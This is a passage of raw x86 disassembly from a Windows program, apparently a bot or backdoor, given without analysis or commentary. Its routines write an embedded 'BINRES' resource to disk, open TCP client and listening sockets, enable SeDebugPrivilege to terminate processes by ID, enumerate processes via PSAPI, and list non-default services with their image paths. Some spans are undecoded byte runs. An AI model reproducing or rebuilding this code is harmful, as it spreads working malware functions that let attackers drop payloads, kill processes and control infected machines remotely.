dword ptr [esi], offset off_43E068 mov eax, esi pop esi retn sub_41FBD0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FC00 proc near ; CODE XREF: sub_401CDFj var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h sub esp, 110h mov dword_50BB68, ecx push 100h mov ecx, offset byte_44794F call sub_4017E4 push eax lea eax, [esp+118h+var_100] push eax nop call near ptr 77C47A90h add esp, 0Ch lea edx, [esp+110h+var_110] lea ecx, [esp+110h+var_100] xor eax, eax push edx mov [esp+114h+var_110], ecx mov [esp+114h+var_10C], offset loc_401956 mov [esp+114h+var_108], eax mov [esp+114h+var_104], eax nop call near ptr 2910000h xor eax, eax add esp, 110h retn sub_41FC00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FC80: ; CODE XREF: ___:00401C30j mov eax, [esp+4] push ebx push esi push edi push offset aWb ; "wb" push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41FCA2 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCA2: ; CODE XREF: ___:0041FC9Aj mov ecx, [esp+18h] push ecx call near ptr 28A1C3Ah nop mov esi, eax test esi, esi jnz short loc_41FCB9 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCB9: ; CODE XREF: ___:0041FCB1j mov edx, [esp+14h] push offset aBinres ; "BINRES" and edx, 0FFFFh push edx push esi nop call near ptr 2790680h mov edi, eax test edi, edi jnz short loc_41FCDC pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCDC: ; CODE XREF: ___:0041FCD4j push ebp push edi push esi nop call near ptr 27A0000h push edi push esi mov ebp, eax call near ptr 27A02CAh nop push ebp mov esi, eax call near ptr 27A069Bh nop push ebx push esi push 1 push eax nop call near ptr 77C4173Bh push ebx nop call near ptr 77C40AB1h add esp, 14h mov al, 1 pop ebp pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FD50 proc near ; CODE XREF: sub_40187Fj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call near ptr 71AB2BF4h nop cmp eax, 0FFFFFFFFh jnz short loc_41FD78 push esi nop call near ptr 71AB4FD4h test eax, eax jnz short loc_41FD71 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41FD71: ; CODE XREF: sub_41FD50+1Aj mov eax, [eax+0Ch] mov ecx, [eax] mov eax, [ecx] loc_41FD78: ; CODE XREF: sub_41FD50+Fj pop esi retn sub_41FD50 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FD90 proc near ; CODE XREF: sub_401A8Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push esi push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FDAE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FDAE: ; CODE XREF: sub_41FD90+15j mov ecx, [esp+14h+arg_4] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h mov edx, [esp+14h+arg_0] mov word ptr [esp+14h+var_10+2], ax push edx call sub_40187F add esp, 4 mov [esp+14h+var_C], eax lea eax, [esp+14h+var_10] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_41FE0A push esi call near ptr 71AB9639h nop or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FE0A: ; CODE XREF: sub_41FD90+69j mov eax, esi pop esi add esp, 10h retn sub_41FD90 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FE50 proc near ; CODE XREF: sub_40197Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FE6E or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FE6E: ; CODE XREF: sub_41FE50+15j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h lea edx, [esp+14h+var_10] push 10h push edx push esi mov word ptr [esp+20h+var_10+2], ax mov [esp+20h+var_C], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_41FEC0 push esi call near ptr 71AB9639h nop or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FEC0: ; CODE XREF: sub_41FE50+5Fj mov eax, esi pop esi add esp, 10h retn sub_41FE50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FEF0 proc near ; CODE XREF: sub_4012DFj var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, [esp+14h+arg_0] push 0Ah push esi call near ptr 71AB88D3h nop cmp eax, 0FFFFFFFFh jz short loc_41FF24 lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_10] push eax push ecx push esi mov [esp+20h+arg_0], 10h nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh jnz short loc_41FF27 loc_41FF24: ; CODE XREF: sub_41FEF0+14j or eax, 0FFFFFFFFh loc_41FF27: ; CODE XREF: sub_41FEF0+32j pop esi add esp, 10h retn sub_41FEF0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FF40 proc near ; CODE XREF: sub_401FEBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_41FF76 mov esi, [esp+8+arg_0] push 0Ah push esi nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz short loc_41FF76 lea eax, [esp+8+arg_4] mov [esp+8+arg_4], 10h push eax push edi push esi call near ptr 71AC1028h nop cmp eax, 0FFFFFFFFh jnz short loc_41FF79 loc_41FF76: ; CODE XREF: sub_41FF40+8j ; sub_41FF40+1Aj or eax, 0FFFFFFFFh loc_41FF79: ; CODE XREF: sub_41FF40+34j pop edi pop esi retn sub_41FF40 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41FF90 proc near ; CODE XREF: sub_4015FAj var_1128 = dword ptr -1128h var_1124 = byte ptr -1124h var_1112 = byte ptr -1112h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_1108 = byte ptr -1108h var_1104 = byte ptr -1104h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_104 = byte ptr 108h arg_110 = byte ptr 114h mov eax, 1114h call sub_436840 lea eax, [esp+arg_4] lea ecx, [esp+arg_110] push eax push 1000h push ecx mov byte ptr [esp+0Fh], 0 call sub_436FC0 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41FFC3 xor al, al add esp, 1114h retn ; --------------------------------------------------------------------------- loc_41FFC3: ; CODE XREF: sub_41FF90+28j mov eax, [esp+0Ch+var_4] shr eax, 2 jz loc_42008D push ebx mov ebx, dword_50F874 push ebp push esi push edi lea ebp, [esp+1Ch+arg_104] mov [esp+1Ch+var_8], eax loc_41FFE5: ; CODE XREF: sub_41FF90+F3j mov edi, offset aUnknown ; "unknown" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+20h] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+0] push ecx push 0 push 411h call ebx mov esi, eax test esi, esi jz short loc_420077 lea edx, [esp+18h] lea eax, [esp+1Ch] push edx push 4 push eax push esi call sub_436FBA ; --------------------------------------------------------------------------- test eax, eax jz short loc_420070 mov edx, [esp+1144h+var_1128] lea ecx, [esp+1144h+var_1124] push 104h push ecx push edx push esi call sub_436FB4 ; --------------------------------------------------------------------------- db 8Bh, 84h, 24h dd 1128h, 20244C8Dh, 0F3E85150h, 90778261h, 8508C483h dd 500D75C0h, 95E89056h, 0C6022EFFh, 1132444h ; --------------------------------------------------------------------------- loc_420070: ; CODE XREF: sub_41FF90+A2j push esi nop call near ptr 2860000h loc_420077: ; CODE XREF: sub_41FF90+8Cj mov eax, dword ptr [esp+1138h+var_1124] add ebp, 4 dec eax mov dword ptr [esp+1138h+var_1124], eax jnz loc_41FFE5 pop edi pop esi pop ebp pop ebx loc_42008D: ; CODE XREF: sub_41FF90+3Aj mov al, byte ptr [esp+1128h+var_1128+3] add esp, 1114h retn sub_41FF90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4200F0 proc near ; CODE XREF: sub_4019FBj var_490 = byte ptr -490h var_488 = byte ptr -488h var_482 = byte ptr -482h var_480 = byte ptr -480h var_478 = byte ptr -478h var_468 = dword ptr -468h var_464 = byte ptr -464h var_454 = dword ptr -454h var_450 = dword ptr -450h var_43C = byte ptr -43Ch var_438 = byte ptr -438h var_424 = byte ptr -424h var_420 = byte ptr -420h var_38 = byte ptr -38h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4200F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 44Ch push ebx push esi mov esi, [esp+460h+arg_0] lea ecx, [esp+460h+var_424] push esi call sub_401861 push eax mov [esp+464h+var_4], 0 call sub_401E8D add esp, 4 lea ecx, [esp+460h+var_424] mov bl, al mov [esp+460h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_42026A lea ecx, [esp+460h+var_43C] call sub_401424 push esi lea eax, [esp+464h+var_43C] mov ebx, 1 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax mov [esp+46Ch+var_4], ebx mov [esp+46Ch+var_454], 0 mov [esp+46Ch+var_450], 80h call sub_40102D add esp, 0Ch lea ecx, [esp+460h+var_454] push ecx push 20019h push 0 lea ecx, [esp+46Ch+var_43C] call sub_401681 push eax push 80000002h nop call near ptr 2960000h mov ecx, [esp+474h+var_468] lea edx, [esp+474h+var_464] lea eax, [esp+474h+var_420] push edx push eax push 0 push 0 push offset aImagepath ; "ImagePath" push ecx call near ptr 2900000h nop lea edx, [esp+0Bh] lea eax, [esp+48Ch+var_438] push edx push eax lea ecx, [esp+494h+var_478] nop call near ptr 76081F67h mov ecx, dword_50F9AC mov [esp+494h+var_38], 2 mov edx, [ecx] lea ecx, [esp+494h+var_480] push edx push offset asc_443B04 ; "\\" nop call near ptr 76085AE4h inc eax lea ecx, [esp+49Ch+var_488] push eax push 0 call near ptr 760976AFh nop lea ecx, [esp+4A4h+var_490] call near ptr 7608B84Ch nop push eax call sub_4015FA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 24244C8Dh, 0FE145CE8h, 58E850FFh, 90023D06h, 14244C8Dh dd 5C249C88h, 0E8000004h, 75C6F249h, 244C8D90h, 2484C724h dd 45Ch, 0FFFFFFFFh, 0FE0FD5E8h, 5EC38AFFh, 248C8B5Bh dd 44Ch, 0D8964h, 81000000h, 458C4h db 0, 0C3h ; --------------------------------------------------------------------------- loc_42026A: ; CODE XREF: sub_4200F0+5Aj mov ecx, [esp+460h+var_C] pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 458h retn sub_4200F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420300 proc near ; CODE XREF: sub_401E8Dj var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push ebx push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 call near ptr 2920AF1h nop mov ebx, eax test ebx, ebx jnz short loc_420325 pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420325: ; CODE XREF: sub_420300+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017E4 push eax push ebx nop call near ptr 28C06A0h mov esi, eax test esi, esi jnz short loc_420350 push ebx nop call near ptr 29303B4h pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420350: ; CODE XREF: sub_420300+3Fj push ebp push edi mov edi, dword_50F740 push esi call edi push esi call edi mov ebp, dword_50F73C lea eax, [esp+2Ch+var_1C] push eax push 1 push esi call ebp push esi call edi lea ecx, [esp+2Ch+var_1C] push ecx push 1 push esi call ebp push esi mov esi, dword_50F74C call esi push ebx call esi pop edi pop ebp pop esi mov al, 1 pop ebx add esp, 1Ch retn sub_420300 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4203D0 proc near ; CODE XREF: sub_4018A7j var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 28h push ebx push ebp push esi lea eax, [esp+34h+var_28] push edi xor esi, esi push eax push esi push 28h xor bl, bl mov [esp+44h+var_24], 10h nop call near ptr 2780A72h push eax nop call near ptr 28E16DBh mov ebp, dword_50F718 mov edi, dword_50F8D8 test eax, eax jnz short loc_420420 lea ecx, [esp+38h+var_28] push ecx push 28h nop call near ptr 2780ABAh push eax call near ptr 28E1C4Ch nop test eax, eax jz short loc_42047F loc_420420: ; CODE XREF: sub_4203D0+36j cmp [esp+38h+var_28], esi jz short loc_420483 lea edx, [esp+38h+var_1C] mov [esp+38h+var_20], 1 push edx push offset aSedebugprivile ; "SeDebugPrivilege" push esi mov [esp+44h+var_14], 2 call near ptr 28F0000h nop lea eax, [esp+38h+var_24] lea ecx, [esp+38h+var_10] push eax mov eax, [esp+3Ch+var_28] push ecx lea edx, [esp+40h+var_20] push 10h push edx push esi push eax call ebp test eax, eax jz short loc_420478 nop call near ptr 27C0896h cmp eax, 514h jnz short loc_420483 mov ecx, [esp+38h+var_28] push ecx jmp short loc_42047D ; --------------------------------------------------------------------------- loc_420478: ; CODE XREF: sub_4203D0+92j mov edx, [esp+38h+var_28] push edx loc_42047D: ; CODE XREF: sub_4203D0+A6j call edi loc_42047F: ; CODE XREF: sub_4203D0+4Ej mov [esp+38h+var_28], esi loc_420483: ; CODE XREF: sub_4203D0+54j ; sub_4203D0+9Fj mov eax, [esp+38h+arg_0] push eax push esi push 411h nop call near ptr 2790000h mov esi, eax test esi, esi jz short loc_4204A8 push 0 push esi nop call near ptr 2710000h push esi mov bl, 1 call edi loc_4204A8: ; CODE XREF: sub_4203D0+C8j mov eax, [esp+38h+var_28] test eax, eax jz short loc_4204C7 push 0 push 0 lea ecx, [esp+40h+var_10] push 10h push ecx push 0 push eax call ebp mov edx, [esp+38h+var_28] push edx call edi loc_4204C7: ; CODE XREF: sub_4203D0+DEj pop edi pop esi mov al, bl pop ebp pop ebx add esp, 28h retn sub_4203D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420530 proc near ; CODE XREF: sub_4011D6j var_68 = dword ptr -68h var_54 = byte ptr -54h var_4C = dword ptr -4Ch var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_F4 = byte ptr 0F8h arg_100 = byte ptr 104h arg_10C4 = dword ptr 10C8h arg_10D0 = dword ptr 10D4h arg_1104 = dword ptr 1108h arg_1118 = dword ptr 111Ch mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420530 push eax mov eax, 1130h mov large fs:0, esp call sub_436840 push esi push offset aPsapi_dll ; "PSAPI.DLL" nop call near ptr 28A1C3Ah test eax, eax mov dword_50BB70, eax jnz short loc_42057C push offset aPsapi_dll ; "PSAPI.DLL" nop call near ptr 27E0865h test eax, eax mov dword_50BB70, eax jz loc_4206FA loc_42057C: ; CODE XREF: sub_420530+32j mov esi, dword_50F8A0 push offset aEnumprocesses ; "EnumProcesses" push eax call esi mov dword_50BB74, eax mov eax, dword_50BB70 push offset aEnumprocessmod ; "EnumProcessModules" push eax call esi mov ecx, dword_50BB70 push offset aGetmodulefilen ; "GetModuleFileNameExA" push ecx mov dword_50BB78, eax call esi mov ecx, dword_50BB74 mov dword_50BB7C, eax test ecx, ecx jz loc_4206FA mov edx, dword_50BB78 test edx, edx jz loc_4206FA test eax, eax jz loc_4206FA lea edx, [esp+30h+var_28] lea eax, [esp+30h+arg_100] push edx push 1000h push eax call ecx test eax, eax jz loc_4206FA mov ecx, dword ptr aUnknown ; "unknown" mov eax, dword ptr aUnknown+4 mov edx, [esp+3Ch+var_34] push edi mov [esp+40h+var_C], ecx mov [esp+40h+var_8], eax mov ecx, 3Fh mov eax, 0 lea edi, [esp+40h+var_4] shr edx, 2 rep stosd jz loc_4206E1 push ebx mov ebx, [esp+44h+arg_1104] push ebp mov ebp, dword_50F874 lea edi, [esp+48h+arg_F4] mov [esp+48h+var_38], edx loc_42063F: ; CODE XREF: sub_420530+1A9j mov ecx, [edi] push ecx push 0 push 410h call ebp mov esi, eax test esi, esi jz short loc_4206CD lea edx, [esp+54h+var_38] lea eax, [esp+54h+var_3C] push edx push 4 push eax push esi call dword_50BB78 test eax, eax jz short loc_4206C6 mov edx, [esp+64h+var_4C] lea ecx, [esp+64h+var_28] push 104h push ecx push edx push esi call dword_50BB7C lea ecx, [esp+74h+var_54] call sub_401866 lea eax, [esp+74h+var_38] lea ecx, [esp+74h+var_54] push eax mov [esp+78h+arg_10D0], 0 call sub_4015D7 mov ecx, [edi] lea edx, [esp+74h+var_54] mov [esp+35h], ecx push edx mov ecx, ebx call sub_402167 ; --------------------------------------------------------------------------- lea ecx, [esp+74h+var_54] mov [esp+74h+arg_10D0], 0FFFFFFFFh call sub_401A6E loc_4206C6: ; CODE XREF: sub_420530+136j push esi nop call near ptr 2860000h loc_4206CD: ; CODE XREF: sub_420530+11Fj mov eax, [esp+78h+var_68] add edi, 4 dec eax mov [esp+78h+var_68], eax jnz loc_42063F pop ebp pop ebx loc_4206E1: ; CODE XREF: sub_420530+EFj pop edi mov al, 1 pop esi mov ecx, [esp+68h+arg_10C4] mov large fs:0, ecx add esp, 113Ch retn ; --------------------------------------------------------------------------- loc_4206FA: ; CODE XREF: sub_420530+46j ; sub_420530+8Cj ... mov ecx, [esp+18h+arg_1118] xor al, al pop esi mov large fs:0, ecx add esp, 113Ch retn sub_420530 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4207A0 proc near ; CODE XREF: sub_401866j push esi mov esi, ecx call sub_401424 mov eax, esi pop esi retn sub_4207A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4207C0 proc near ; CODE XREF: sub_401A6Ej jmp sub_401226 sub_4207C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4207E0 proc near ; CODE XREF: sub_402144j var_518 = byte ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_4F8 = byte ptr -4F8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4DC = dword ptr -4DCh var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4CC = dword ptr -4CCh var_4C8 = dword ptr -4C8h var_4C4 = dword ptr -4C4h var_4C0 = dword ptr -4C0h var_4BC = dword ptr -4BCh var_4B8 = dword ptr -4B8h var_4B4 = dword ptr -4B4h var_4B0 = dword ptr -4B0h var_4AC = dword ptr -4ACh var_4A8 = dword ptr -4A8h var_4A4 = dword ptr -4A4h var_4A0 = dword ptr -4A0h var_49C = dword ptr -49Ch var_498 = dword ptr -498h var_494 = dword ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = dword ptr -448h var_444 = dword ptr -444h var_440 = dword ptr -440h var_43C = dword ptr -43Ch var_438 = dword ptr -438h var_430 = byte ptr -430h var_41C = byte ptr -41Ch var_408 = byte ptr -408h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4207E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 50Ch push ebx push ebp xor ebx, ebx push 80000000h push ebx push ebx nop call near ptr 2920AF1h mov ebp, eax cmp ebp, ebx mov [esp+520h+var_500], ebp jnz short loc_42082F pop ebp xor al, al pop ebx mov ecx, [esp+518h+var_C] mov large fs:0, ecx add esp, 518h retn ; --------------------------------------------------------------------------- loc_42082F: ; CODE XREF: sub_4207E0+34j push esi push edi lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv" mov [esp+528h+var_4E0], offset aBrowser ; "Browser" mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc" mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp" mov [esp+528h+var_4D4], offset aDmserver ; "dmserver" mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache" mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc" mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog" mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem" mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility" mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc" mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver" mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation" mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts" mov [esp+528h+var_4AC], offset off_44433C mov [esp+528h+var_4A8], offset aMessenger ; "Messenger" mov [esp+528h+var_4A4], offset aNetman ; "Netman" mov [esp+528h+var_4A0], offset off_444324 mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay" mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent" mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage" mov [esp+528h+var_490], offset aRasman ; "RasMan" mov [esp+528h+var_48C], offset aRpcss ; "RpcSs" mov [esp+528h+var_488], offset aSamss ; "SamSs" mov [esp+528h+var_484], offset aSchedule ; "Schedule" mov [esp+528h+var_480], offset aSeclogon ; "seclogon" mov [esp+528h+var_47C], offset aSens ; "SENS" mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection" mov [esp+528h+var_474], offset aSpooler ; "Spooler" mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV" mov [esp+528h+var_46C], offset aStisvc ; "stisvc" mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv" mov [esp+528h+var_464], offset aTermservice ; "TermService" mov [esp+528h+var_460], offset aTrkwks ; "TrkWks" mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr" mov [esp+528h+var_458], offset aUpnphost ; "upnphost" mov [esp+528h+var_454], offset aW32time ; "W32Time" mov [esp+528h+var_450], offset aWebclient ; "WebClient" mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt" mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC" mov [esp+528h+var_444], offset aWuauserv ; "wuauserv" mov [esp+528h+var_440], offset aSrservice ; "srservice" mov [esp+528h+var_43C], offset aThemes ; "Themes" mov [esp+528h+var_438], ebx mov [esp+528h+var_510], ebx call sub_401424 lea eax, [esp+528h+var_510] lea ecx, [esp+528h+var_514] mov esi, dword_50F710 push eax lea edx, [esp+52Ch+var_518] push ecx push edx lea eax, [esp+534h+var_41C] push ebx push eax push 1 push 30h push ebp mov [esp+548h+var_4], ebx mov [esp+548h+var_50C], ebx mov [esp+548h+var_504], 80h call esi mov ecx, [esp+524h+var_514] push ecx nop call near ptr 77C2C407h add esp, 4 mov edi, eax lea edx, [esp+524h+var_50C] lea eax, [esp+524h+var_510] push edx mov edx, [esp+528h+var_514] lea ecx, [esp+528h+var_514] push eax push ecx push edx push edi push 1 push 30h push ebp call esi mov eax, [esp+524h+var_510] mov [esp+524h+var_504], ebx cmp eax, ebx jbe loc_420B8F mov ebp, dword_50F75C loc_420A6B: ; CODE XREF: sub_4207E0+3A5j mov eax, offset aAudiosrv ; "AudioSrv" test eax, eax jz short loc_420A97 lea esi, [esp+524h+var_4E0] loc_420A78: ; CODE XREF: sub_4207E0+2B5j mov ecx, [edi] push ecx push eax nop call near ptr 77C4624Eh add esp, 8 test eax, eax jz loc_420B73 mov eax, [esi+4] add esi, 4 cmp eax, ebx jnz short loc_420A78 loc_420A97: ; CODE XREF: sub_4207E0+292j mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax call sub_40102D add esp, 0Ch lea ecx, [esp+524h+var_508] push ecx push 20019h push ebx lea ecx, [esp+530h+var_4F8] call sub_401681 push eax push 80000002h call ebp cmp eax, ebx jz short loc_420AE3 mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)" push eax call sub_40102D add esp, 0Ch jmp short loc_420B3A ; --------------------------------------------------------------------------- loc_420AE3: ; CODE XREF: sub_4207E0+2EAj mov eax, [esp+524h+var_508] lea ecx, [esp+524h+var_500] lea edx, [esp+524h+var_408] push ecx push edx push ebx push ebx push offset aImagepath ; "ImagePath" push eax call near ptr 2900000h nop cmp eax, ebx jz short loc_420B1D mov ecx, [edi] lea edx, [esp+524h+var_4F8] push ecx push offset aS????_exe ; "[%s] [????.exe]" push edx call sub_40102D add esp, 0Ch jmp short loc_420B3A ; --------------------------------------------------------------------------- loc_420B1D: ; CODE XREF: sub_4207E0+324j mov ecx, [edi] lea eax, [esp+524h+var_408] push eax push ecx lea edx, [esp+52Ch+var_4F8] push offset aSS ; "[%s] [%s]" push edx call sub_40102D add esp, 10h loc_420B3A: ; CODE XREF: sub_4207E0+301j ; sub_4207E0+33Bj lea eax, [esp+524h+var_4F8] lea ecx, [esp+524h+var_430] push eax call sub_4014C9 mov ecx, [esp+524h+arg_4] push eax mov byte ptr [esp+528h], 1 call sub_401325 ; --------------------------------------------------------------------------- lea ecx, [esp+524h+var_430] mov [esp+524h], bl call sub_401226 loc_420B73: ; CODE XREF: sub_4207E0+2A7j mov eax, [esp+524h+var_504] mov ecx, [esp+524h+var_510] inc eax add edi, 24h cmp eax, ecx mov [esp+524h+var_504], eax jb loc_420A6B mov ebp, [esp+524h+var_4FC] loc_420B8F: ; CODE XREF: sub_4207E0+27Fj push ebp call near ptr 29303B4h nop lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+528h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 518h retn sub_4207E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420CD0 proc near ; CODE XREF: sub_4015EBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax push esi push 0 nop call near ptr 28A1C3Ah push eax call near ptr 28A1050h nop mov eax, esi pop esi retn sub_420CD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D00 proc near ; CODE XREF: sub_401A28j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push ebx mov [ebp+var_4], 0 mov [ebp+arg_4], eax femms mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov ebx, [ebp+var_4] cmp ecx, 2 js short loc_420D39 loc_420D22: ; CODE XREF: sub_420D00+32j xor eax, eax mov ax, [edx] add ebx, eax sub ecx, 2 add edx, 2 cmp ecx, 1 jg short loc_420D22 cmp ecx, 0 jz short loc_420D4A loc_420D39: ; CODE XREF: 